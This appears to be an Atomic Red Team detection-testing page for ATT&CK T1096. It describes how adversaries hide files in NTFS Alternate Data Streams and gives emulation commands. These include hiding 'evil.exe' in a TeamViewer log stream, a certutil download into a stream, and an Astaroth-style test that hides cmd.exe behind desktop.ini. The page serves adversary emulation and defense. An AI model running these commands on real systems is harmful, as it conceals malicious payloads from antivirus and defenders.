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T1096 - NTFS File Attributes

Description from ATT&CK

Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

Atomic Tests


Atomic Test #1 - Alternate Data Streams (ADS)

Execute from Alternate Streams

Reference - 1

Reference - 2

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
path Path of ADS file path c:\ADS\

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1096/src/test.ps1 c:\temp:ttt
makecab #{path}\autoruns.exe #{path}\cabtest.txt:autoruns.cab
print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg #{path}\file.txt:evilreg.reg
regedit /E #{path}\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat #{path}\file.txt:file.bat
esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o


Atomic Test #2 - Store file in Alternate Data Stream (ADS)

Storing files in Alternate Data Stream (ADS) similar to Astaroth malware. Upon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
payload_path Path of file to hide in ADS path c:\windows\system32\cmd.exe
ads_file_path Path of file to create an ADS under path C:\Users\Public\Libraries\yanki\desktop.ini
ads_name Name of ADS string desktop.ini

Attack Commands: Run with powershell!

if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) {
    New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki
    }
Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,#{payload_path},>,`"#{ads_file_path}:#{ads_name}`""

Cleanup Commands:

Remove-Item "#{ads_file_path}" -Force -ErrorAction Ignore